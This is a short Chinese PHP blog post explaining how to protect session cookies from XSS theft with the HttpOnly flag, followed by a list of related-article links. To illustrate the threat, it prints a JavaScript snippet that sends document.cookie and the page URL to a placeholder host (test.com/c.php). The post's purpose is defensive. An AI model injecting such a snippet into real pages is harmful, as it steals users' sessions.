xss防御之php利用httponly防xss攻击


Posted in PHP onMarch 21, 2014

xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。

如下js获取cookie信息:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;

一般cookie都是从document对象中获取的,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了。

PHP设置HttpOnly

//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

对于PHP5.1以前版本的PHP通过:

header("Set-Cookie: hidden=value; httpOnly");

最后,HttpOnly不是万能的!

PHP 相关文章推荐
Zend Studio for Eclipse的java.lang.NullPointerException错误的解决方法
Dec 06 PHP
超级实用的7个PHP代码片段分享
Jan 05 PHP
ThinkPHP访问不存在的模块跳转到404页面的方法
Jun 19 PHP
destoon实现资讯信息前面调用它所属分类的方法
Jul 15 PHP
深入理解PHP中的global
Aug 19 PHP
php中ltrim()、rtrim()与trim()删除字符空格实例
Nov 25 PHP
php根据日期显示所在星座的方法
Jul 13 PHP
php类中的$this,static,final,const,self这几个关键字使用方法
Dec 14 PHP
修改yii2.0用户登录使用的user表为其它的表实现方法(推荐)
Aug 01 PHP
基于Laravel实现的用户动态模块开发
Sep 21 PHP
php的instanceof和判断闭包Closure操作示例
Jan 26 PHP
实例讲解PHP表单
Jun 10 PHP
php5.3 goto函数介绍和示例
Mar 21 #PHP
php ctype函数中文翻译和示例
Mar 21 #PHP
php的declare控制符和ticks教程(附示例)
Mar 21 #PHP
php像数组一样存取和修改字符串字符
Mar 21 #PHP
easyui的tabs update正确用法分享
Mar 21 #PHP
php设置session值和cookies的学习示例
Mar 21 #PHP
一个显示效果非常不错的PHP错误、异常处理类
Mar 21 #PHP
You might like
PHP按行读取文件时删除换行符的3种方法
2014/05/04 PHP
浅析php单例模式
2014/11/25 PHP
Linux中为php配置伪静态
2014/12/17 PHP
smarty自定义函数htmlcheckboxes用法实例
2015/01/22 PHP
Zend Framework教程之路由功能Zend_Controller_Router详解
2016/03/07 PHP
简单的pgsql pdo php操作类实现代码
2016/08/25 PHP
PHP将身份证正反面两张照片合成一张图片的代码
2017/04/08 PHP
PHP数据库操作四:mongodb用法分析
2017/08/16 PHP
PHP实现登录验证码校验功能
2018/05/17 PHP
JS 时间显示效果代码
2009/08/23 Javascript
为EasyUI的Tab标签添加右键菜单的方法
2012/07/14 Javascript
JS获取后台Cookies值的小例子
2013/03/04 Javascript
Visual Studio中js调试的方法图解
2014/06/30 Javascript
超棒的响应式布局jQuery插件Freetile.js
2014/11/17 Javascript
Javascript中的prototype与继承
2017/02/06 Javascript
JavaScript数组和对象的复制
2017/03/21 Javascript
Node.js使用Express.Router的方法
2017/11/14 Javascript
详解Angular系列之变化检测(Change Detection)
2018/02/26 Javascript
Node.js readline 逐行读取、写入文件内容的示例
2018/03/01 Javascript
vue 项目中使用Loading组件的示例代码
2018/08/31 Javascript
vue项目设置scrollTop不起作用(总结)
2018/12/21 Javascript
node.js使用net模块创建服务器和客户端示例【基于TCP协议】
2020/02/14 Javascript
微信小程序后端无法保持session的原因及解决办法问题
2020/03/20 Javascript
Vue实现购物车实例代码两则
2020/05/30 Javascript
Vue Elenent实现表格相同数据列合并
2020/11/30 Vue.js
[01:25]DOTA2超级联赛专访iG 将调整状态找回自己
2013/06/05 DOTA
使用python读取.text文件特定行的数据方法
2019/01/28 Python
20行python代码实现人脸识别
2019/05/05 Python
使用Python OpenCV为CNN增加图像样本的实现
2019/06/10 Python
Python Web框架之Django框架文件上传功能详解
2019/08/16 Python
使用django自带的user做外键的方法
2020/11/30 Python
伊莱克斯阿根廷网上商店:Tienda Electrolux
2021/03/08 全球购物
内容编辑个人求职信
2013/12/10 职场文书
环保倡议书300字
2014/05/15 职场文书
2016七一建党节慰问信
2015/11/30 职场文书
Win10鼠标宏怎么设置?win10系统鼠标宏的设置方法
2022/08/14 数码科技